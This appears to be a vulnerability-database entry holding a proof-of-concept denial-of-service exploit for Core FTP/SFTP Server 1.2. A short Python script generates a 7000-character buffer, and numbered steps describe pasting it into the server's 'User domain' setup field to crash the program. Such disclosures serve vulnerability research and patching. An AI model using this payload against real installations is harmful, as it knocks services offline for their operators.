发布 2019-02-14 漏洞条目

Core FTP/SFTP Server 1.2 Build 589.42 – ‘User domain’ Denial of Service (PoC)

Exploit Source

#Exploit Title: Core FTP/SFTP Server 1.2 - Build 589.42 - Denial of Service (PoC)

#Discovery by: Victor Mondragón

#Discovery Date: 2019-02-13

#Vendor Homepage: http://www.coreftp.com/

#Software Link: http://www.coreftp.com/server/download/archive/CoreFTPServer589.42.exe

#Tested Version: v2-Build 673

#Tested on: Windows 7 Service Pack 1 x32

#Steps to produce the crash:

#1.- Run python code: Core_FTP_SFTP_Server_1.2.py

#2.- Open core_code.txt and copy content to clipboard

#3.- Open Core FTP Server

#4.- Select "Setup" > "New"

#5.- Select "Domain Name" and Put "Test"

#6.- Select "Domain IP/Address" and Put "1.1.1.1"

#7.- Select "Base directory" and Choose a directory path

#8.- Enable "WinNT users"

#9.- Select "User domain" and Paste Clipboard

#10.- Click on "Ok" and the next window click "Ok"

#11.- Crashed

cod = "\x41" * 7000

f = open('core_code.txt', 'w')

f.write(cod)

f.close()

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